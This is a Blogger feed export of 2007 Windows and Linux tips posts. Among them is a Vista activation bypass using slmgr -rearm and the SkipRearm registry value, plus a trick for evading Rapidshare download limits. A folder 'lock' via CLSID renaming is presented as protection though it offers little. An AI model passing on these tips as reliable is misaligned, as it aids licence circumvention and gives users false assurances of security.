src='https://blogger.googleusercontent.com/tracker/2186942356576182589-5893510168072880557?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/5893510168072880557/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=5893510168072880557' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5893510168072880557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5893510168072880557'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/11/how-to-remove-unwanted-object-at-start.html' title='how to remove unwanted object at start up'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-7942667961055056851</id><published>2007-10-29T11:56:00.000-07:00</published><updated>2007-10-29T11:57:20.470-07:00</updated><title type='text'>How to overcome downlaoding limitations of rapidshare.com with free account</title><content type='html'>&lt;span style="font-size: 10.5pt; font-family: &amp;quot;Trebuchet MS&amp;quot;; color: black;"&gt;As all of us know about the download limitation of rapidshare.com. After downloading one file it says to wait for some time (e.g 10 mins) sometimes this time may be in hours if previous file was little long ;).&lt;br /&gt;&lt;br /&gt;This trick works only for those connection that have dynamic IP.&lt;br /&gt;&lt;br /&gt;Trick is simple like to make your connection Dial Up rather than always on.&lt;br /&gt;so you need not to power off and on your modem and waste around 2-3 mins each time .&lt;br /&gt;Dial Up connection connects in just seconds almost 1- 5 seconds.&lt;br /&gt;&lt;br /&gt;how to make dial Up connection:&lt;br /&gt;&lt;br /&gt;step 1.&lt;br /&gt;goto network connection in control panel.&lt;br /&gt;&lt;br /&gt;step2.&lt;br /&gt;click on "create a new connection"&lt;br /&gt;&lt;br /&gt;A wizard will open&lt;br /&gt;&lt;br /&gt;choose "connect to internet" and click next.&lt;br /&gt;&lt;br /&gt;choose " setup connection manualy"&lt;br /&gt;&lt;br /&gt;if you are a broadband user choose "connect using a braodband connection that require username and password. click next&lt;br /&gt;&lt;br /&gt;enter your ISP name or any name that you want ( e.g your name).&lt;br /&gt;&lt;br /&gt;click next&lt;br /&gt;&lt;br /&gt;Enter user name and password provided by your ISP.&lt;br /&gt;check both boxes that are below&lt;br /&gt;&lt;br /&gt;Click ok or done&lt;br /&gt;&lt;br /&gt;a icon be created on desktop.&lt;br /&gt;double click on it and click on connect.&lt;br /&gt;when you want to disconnect right click on icon and click on disconnect.&lt;br /&gt;connect and disconnect takes only 1- 2 seconds.&lt;br /&gt;&lt;br /&gt; &lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt; &lt;!--[endif]--&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-7942667961055056851?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/7942667961055056851/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=7942667961055056851' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/7942667961055056851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/7942667961055056851'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/how-to-overcome-downlaoding-limitations.html' title='How to overcome downlaoding limitations of rapidshare.com with free account'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-5716794676145826906</id><published>2007-10-29T11:36:00.000-07:00</published><updated>2007-10-29T11:56:29.544-07:00</updated><title type='text'>How to speed up mozilla firefox 3-30x times</title><content type='html'>&lt;p style="background: white none repeat scroll 0% 50%; margin-left: 0.5in; text-indent: -0.25in; line-height: 18pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;&lt;!--[if !supportLists]--&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="font-size: 10.5pt; font-family: &amp;quot;Trebuchet MS&amp;quot;; color: black;"&gt;&lt;span style=""&gt;1.&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;!--[endif]--&gt;&lt;b&gt;&lt;i&gt;&lt;span style="font-size: 10.5pt; font-family: &amp;quot;Trebuchet MS&amp;quot;; color: black;"&gt;Type "about:config" into the address bar and hit return. Scroll&lt;br /&gt;down and look for the following entries:&lt;br /&gt;&lt;br /&gt;network.http.pipelining&lt;br /&gt;network.http.proxy.pipelining&lt;br /&gt;network.http.pipelining.maxrequests&lt;br /&gt;&lt;br /&gt;Normally the browser will make one request to a web page at a time.&lt;br /&gt;When you enable pipelining it will make several at once, which really&lt;br /&gt;speeds up page loading.&lt;br /&gt;&lt;br /&gt;2. Alter the entries as follows:&lt;br /&gt;&lt;br /&gt;Set "network.http.pipelining" to "true"&lt;br /&gt;&lt;br /&gt;Set "network.http.proxy.pipelining" to "true"&lt;br /&gt;&lt;br /&gt;Set "network.http.pipelining.maxrequests" to some number like 30. This&lt;br /&gt;means it will make 30 requests at once.&lt;br /&gt;&lt;br /&gt;3. Lastly right-click anywhere and select New-&gt; Integer.&lt;br /&gt;Name it "nglayout.initialpaint.delay" and set its value to "0".&lt;br /&gt;This value is the amount of time the browser waits before it acts on information it recieves.&lt;br /&gt;&lt;br /&gt;If you're using a broadband connection you'll load pages 2-30 times faster now.&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style="font-size: 10.5pt; font-family: &amp;quot;Trebuchet MS&amp;quot;; color: black;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-5716794676145826906?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/5716794676145826906/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=5716794676145826906' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5716794676145826906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5716794676145826906'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/how-to-speed-up-mozilla-firefox-3-30x.html' title='How to speed up mozilla firefox 3-30x times'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-4393405868127554372</id><published>2007-10-29T10:59:00.000-07:00</published><updated>2007-10-29T11:00:02.348-07:00</updated><title type='text'>Using Windows Vista For A Year Without Activation</title><content type='html'>Here we are going to use the Skiprearm Registry Hack.In this technique we have to run a command in the Command Prompt which will extend the activation period by 30 days.&lt;br /&gt;So, lets start:&lt;br /&gt;&lt;br /&gt;1)First make sure that you are in the Administrative Mode. Then click on the Start &amp;amp; access Command Promt by typing cmd in the Search Bar.&lt;br /&gt;&lt;br /&gt;2)Then type slmgr -rearm in the Command Prompt window &amp;amp; press Enter. After 45 seconds, a prompt will be displayed to Restart your computer. Just Restart, after that you will see that you have successfully extended your activation period to 30 days. This will work only 3 times, so you will get 120 days of Windows Vista without Activation...But we are going to change it.&lt;br /&gt;&lt;br /&gt;3)Open Registry Editor by typing regedit in the Search Bar.&lt;br /&gt;&lt;br /&gt;4)Navigate to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ Currentversion \ SL.&lt;br /&gt;&lt;br /&gt;5)On the right side search for a key called SkipRearm &amp;amp; modify its value to 1.&lt;br /&gt;&lt;br /&gt;6)Just close the Registry Editor.&lt;br /&gt;&lt;br /&gt;Now the default limit of 3 will be changed to 8 which means that you can use Winodws Vista for 360 Days without Activation.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-4393405868127554372?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/4393405868127554372/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=4393405868127554372' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4393405868127554372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4393405868127554372'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/using-windows-vista-for-year-without.html' title='Using Windows Vista For A Year Without Activation'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-3977674920156533934</id><published>2007-10-29T10:58:00.000-07:00</published><updated>2007-10-29T10:59:10.169-07:00</updated><title type='text'>Use system restore when you cannot boot your system:</title><content type='html'>If your system has failed to the point where you cannot access the Windows GUI either through booting normally or through safe mode, you may still have the chance to use the System Restore feature if you have it enabled, by running it form the command prompt. To do this: Restart your computer and press F8 after the POST screen to bring up the Windows XP boot menu. Choose 'boot in safe mode with command prompt.' If your system gets to the command prompt successfully, type '%systemroot%\system32\restore\rstrui.exe' and then press enter. Follow the onscreen instructions to restore your computer to a previous saved point.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-3977674920156533934?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/3977674920156533934/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=3977674920156533934' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/3977674920156533934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/3977674920156533934'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/use-system-restore-when-you-cannot-boot.html' title='Use system restore when you cannot boot your system:'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-2217799644664887163</id><published>2007-10-29T10:57:00.000-07:00</published><updated>2007-10-29T10:58:04.457-07:00</updated><title type='text'>Speed Up Browsing Folders In Windows Xp</title><content type='html'>You may have noticed that everytime you open My Computer to browse folders there is a small delay. This is because Windows XP automatically searches for network files and printers when Windows explorer is opened. To stop Windows XP from doing this follow the instructions below.&lt;br /&gt;&lt;br /&gt;1. Open My Computer&lt;br /&gt;&lt;br /&gt;2. Click on Tools menu&lt;br /&gt;&lt;br /&gt;3. Click on Folder Options&lt;br /&gt;&lt;br /&gt;4. Click on the View tab.&lt;br /&gt;&lt;br /&gt;5. Uncheck the "Automatically search for network folders and printers check box"&lt;br /&gt;&lt;br /&gt;6. Click Apply&lt;br /&gt;&lt;br /&gt;7. Click Ok&lt;br /&gt;&lt;br /&gt;Reboot your computer&lt;br /&gt;&lt;br /&gt;Try it, you will see a significant increase in speed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-2217799644664887163?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/2217799644664887163/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=2217799644664887163' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2217799644664887163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2217799644664887163'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/speed-up-browsing-folders-in-windows-xp.html' title='Speed Up Browsing Folders In Windows Xp'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-1545571029754198735</id><published>2007-10-29T10:56:00.001-07:00</published><updated>2007-10-29T10:56:59.665-07:00</updated><title type='text'>Repair Of Internet Explorer</title><content type='html'>Method 1: Microsoft Internet Explorer 6.x Repair for Windows XP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From the Start menu, select Run. In the Open field, type sfc /scannow (Note: There is a space between sfc and /scannow) Select the OK button. Follow the prompts throughout the System File Checker process. Reboot the computer when System File Checker completes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Method 2: Microsoft Internet Explorer 6.x Repair for Windows XP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From the Start menu, select Search, select All Files and Folders. Select More Advanced Options and place a checkmark beside Search Hidden Files and Folders option. Ensure that Search System Folders and Search Subfolders are also checked. In the All or Part of the File Name box, type ie.inf In the Look In drop-down menu, select C: or the letter of the hard drive that contains the Windows folder. Click the Search button. In the search results pane, find the ie.inf file located in Windows\Inf folder. Right click the ie.inf file and click Install on the context menu. Reboot the computer when the file copy process is complete.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-1545571029754198735?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/1545571029754198735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=1545571029754198735' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/1545571029754198735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/1545571029754198735'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/repair-of-internet-explorer.html' title='Repair Of Internet Explorer'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-8267543815679162454</id><published>2007-10-29T10:55:00.000-07:00</published><updated>2007-10-29T10:56:04.597-07:00</updated><title type='text'>Removing Multiple Boot Screens:</title><content type='html'>If you are getting unwanted multiple boot screenThen Follow these Steps.&lt;br /&gt;1&gt; Right Click on My Computer&lt;br /&gt;2&gt;Select Properties&lt;br /&gt;3&gt;Select Advanced Tab&lt;br /&gt;4&gt;Select Settings In the Startup &amp;amp; Recovery Section(3rd grp)&lt;br /&gt;5&gt;Select the operating system which u want.&lt;br /&gt;6&gt;And Click OK.&lt;br /&gt;7&gt;Further again press the setting and click on Edit.&lt;br /&gt;8&gt;It will open boot.ini File.9&gt;Now u can delete those o/s which you don't want to be displayed.Note: For deleting operating systems from boot.ini file, keep it mind that you can'tdelete that o/s which is selected by default there. Beforemaking any changes make a copy of boot.ini file.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-8267543815679162454?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/8267543815679162454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=8267543815679162454' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/8267543815679162454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/8267543815679162454'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/removing-multiple-boot-screens.html' title='Removing Multiple Boot Screens:'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-1128981023415869490</id><published>2007-10-29T10:54:00.001-07:00</published><updated>2007-10-29T10:54:36.803-07:00</updated><title type='text'>How To Remove folder.htt Virus</title><content type='html'>yes.. you have been hit with REDLOAF virus.. folder.htt and one more file desktop.ini keeps on regenerating. VBS/Roor-A is a virus that may infect HTML or text files.&lt;br /&gt;&lt;br /&gt;***Quick heal is the only solution. ***&lt;br /&gt;****Quick heal is the only solution. ****&lt;br /&gt;&lt;br /&gt;VBS/Roor-A infects files with file extension HTM, HTML or HTT in the folder in which it is run.&lt;br /&gt;&lt;br /&gt;VBS/Roor-A creates dropper files for the virus with the names DESKTOP.INI and FOLDER.HTT in the current folder, the Windows folder, the Windows system folder, the Windows Desktop and the subfolder WEB of the Windows folder. Dropper files may also be created in the root folders of any other drives.&lt;br /&gt;&lt;br /&gt;On the 26th of September, the virus may attempt to shut down&lt;br /&gt;Windows.&lt;br /&gt;VBS/Roor-A makes the following changes to the system registry:&lt;br /&gt;&lt;br /&gt;HKCU\Software\Microsoft\Internet Explorer\Main&lt;br /&gt;Start Page&lt;br /&gt;about:error&lt;br /&gt;&lt;br /&gt;HKLM\Software\Microsoft\Internet Explorer\AboutURLs&lt;br /&gt;error&lt;br /&gt;http://&lt;br /&gt;&lt;br /&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer&lt;br /&gt;NoFolderOptions&lt;br /&gt;1&lt;br /&gt;&lt;br /&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced&lt;br /&gt;Hidden&lt;br /&gt;0&lt;br /&gt;&lt;br /&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer&lt;br /&gt;ClassicShell&lt;br /&gt;0&lt;br /&gt;&lt;br /&gt;The virus deletes the following registry entry:&lt;br /&gt;&lt;br /&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\ExtShellViews{5984FFE0-28D4-11CF-AE66-08002B2E1262}&lt;br /&gt;&lt;br /&gt;Quick heal is the only solution.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-1128981023415869490?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/1128981023415869490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=1128981023415869490' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/1128981023415869490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/1128981023415869490'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/how-to-remove-folderhtt-virus.html' title='How To Remove folder.htt Virus'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-5899258587543596981</id><published>2007-10-29T10:52:00.000-07:00</published><updated>2007-10-29T10:53:57.369-07:00</updated><title type='text'>How TO Merge Two Drives</title><content type='html'>First read carefully before doing any thing else i am not responsible for any thing.&lt;br /&gt;&lt;br /&gt;control panel-&gt;Administrative Tools-&gt;Computer Management-&gt;storeage-&gt;disk managment-&gt;hard disk-&gt;write click-&gt;convert to daynamic disk-&gt;&lt;br /&gt;After converting both hard disk as daynamic hard disk -&gt;now extend partition and add the amount of the hard disk space from second hard disk to you first hard disk drive.you can do the same for extending any partition in same hard disk also but you should have that much empty space in your hard diskPrecaution :--&gt;&lt;br /&gt;first take data back up of your entire hard disk becuase if you are not able to do that you may loss your data and after converting your hard disk from basic to dayanamic you can not revert it back.&lt;br /&gt;&lt;br /&gt;Limitation:&lt;br /&gt;1) you should have atleast windows 2000 or above OS in your computer.&lt;br /&gt;2)Your hard disk partion must be of NTFS.&lt;br /&gt;3) There is no way to come back from daynammic to basic hard disk.&lt;br /&gt;&lt;br /&gt;Warning :&lt;br /&gt;1) I am not going to take any resposiblity for this if any thing goes wrong.&lt;br /&gt;2) Take your data back up in some dvd. or in any other hard disk.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-5899258587543596981?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/5899258587543596981/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=5899258587543596981' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5899258587543596981'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5899258587543596981'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/how-to-merge-two-drives.html' title='How TO Merge Two Drives'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-4583115334529080337</id><published>2007-10-29T10:50:00.000-07:00</published><updated>2007-10-29T10:51:38.233-07:00</updated><title type='text'>How To Fix Your Monitor Refresh Rate In Debain</title><content type='html'>The easiest way I have found is to use the ‘gtf’ command. The syntax of the command is:&lt;br /&gt;&lt;br /&gt;gtf Horizontal Vertical RefreshRate&lt;br /&gt;so if you wanted a screen resolution of 1024×768 with a 100 hz refresh rate the command would be:&lt;br /&gt;&lt;br /&gt;gtf 1024 768 100&lt;br /&gt;&lt;br /&gt;and the command will show you a line something like this:&lt;br /&gt;# 1024×768 @ 100.00 Hz (GTF) hsync: 81.40 kHz; pclk: 113.31 MHzModeline “1024×768_100.00? 113.31 1024 1096 1208 1392 768 769 772 814 -HSync +Vsync&lt;br /&gt;&lt;br /&gt;Now you need to copy this to the monitor section of the /etc/X11/XF86Config-4&lt;br /&gt;so that it would look something like:&lt;br /&gt;&lt;br /&gt;Section “Monitor”&lt;br /&gt;Identifier “Generic Monitor”&lt;br /&gt;Option “DPMS”&lt;br /&gt;&lt;br /&gt;# 1024×768 @ 100.00 Hz (GTF) hsync: 81.40 kHz; pclk: 113.31 MHzModeline “1024×768_100.00? 113.31 1024 1096 1208 1392 768 769 772 814 -HSync +Vsync&lt;br /&gt;&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;Save the changes and restart the xserver for the changes to take effect.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-4583115334529080337?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/4583115334529080337/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=4583115334529080337' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4583115334529080337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4583115334529080337'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/how-to-fix-your-monitor-refresh-rate-in.html' title='How To Fix Your Monitor Refresh Rate In Debain'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-4395703287342801026</id><published>2007-10-29T10:47:00.000-07:00</published><updated>2007-10-29T10:48:09.494-07:00</updated><title type='text'>How To Clone A Hard Drive</title><content type='html'>Did know that you could clone your current Hard Drive without having to by extra software? Maybe you didn't know that all that you needed, was already set up on your current system? Well, it is... and if you follow this tut, you shouldn't have much of a problem.&lt;br /&gt;&lt;br /&gt;Make sure that you have a Master and a Slave setup on your system. The Slave drive, in this case, is where all the data on the Master is going to go to.&lt;br /&gt;&lt;br /&gt;First: Perform a Scandisk your Master drive and follow that with a thorough Defrag. If you have an Antivirus program, do a thorough sweep with the AV first, then do the Scandisk, followed by the Defrag.&lt;br /&gt;&lt;br /&gt;Second: Do the same thing to the target drive, as you did the Master: Scandisk then a thorough Defrag.&lt;br /&gt;&lt;br /&gt;Third: Right-click on the Target drive and click on Format. When the box comes up, click your mouse onto the "Full" button.&lt;br /&gt;&lt;br /&gt;Fourth: After Formatting the Target drive, run a Scandisk again and click on the button that says "Autofix Errors".&lt;br /&gt;&lt;br /&gt;Fifth: In this final part, you might want to cut-and-paste to code in, unless you are sure that you can do it without making any mistakes:&lt;br /&gt;&lt;br /&gt;Click on the "Start" button, then click on the "Run..." button, then place the following into the Runbox:&lt;br /&gt;&lt;br /&gt;"XCOPY C:\*.*D:\ /c/h/e/k/r" (minus the quotes, of course) then press the "Enter" button.&lt;br /&gt;&lt;br /&gt;If you receive an error message, then remove the space from between XCOPY and C:\&lt;br /&gt;&lt;br /&gt;Anything that should happen to come up in the DOS box, just click "Y" for "Yes". When its all finished, pull the original Master from the system, designate the Slave as the Master (change your jumpers), then check your new Master out.&lt;br /&gt;&lt;br /&gt;This trick has worked and has been tested on all systems except for Windows 2000, so you really shouldn't have any problems. If, by any chance, you should come across a snag, message me and I'll walk you through it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-4395703287342801026?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/4395703287342801026/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=4395703287342801026' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4395703287342801026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4395703287342801026'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/how-to-clone-hard-drive.html' title='How To Clone A Hard Drive'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-7875264906037493772</id><published>2007-10-29T10:46:00.000-07:00</published><updated>2007-10-29T10:47:33.958-07:00</updated><title type='text'>how to add password or lock a folder in xp without using any software</title><content type='html'>Suppose you want to lock the folder games in d: which has the path D:\Games.In the same drive create a text file and type&lt;br /&gt;ren games games.{21EC2020-3AEA-1069-A2DD-08002B30309D}&lt;br /&gt;Now save this text file as loc.bat&lt;br /&gt;&lt;br /&gt;create another text file and type in it&lt;br /&gt;ren games.{21EC2020-3AEA-1069-A2DD-08002B30309D} games&lt;br /&gt;Now save this text file as key.bat&lt;br /&gt;&lt;br /&gt;Now you can see 2 batch files loc and key.Press loc and the folder games will change to control panel and you cannot view its contents.Press key and you will get back your original folder&lt;div 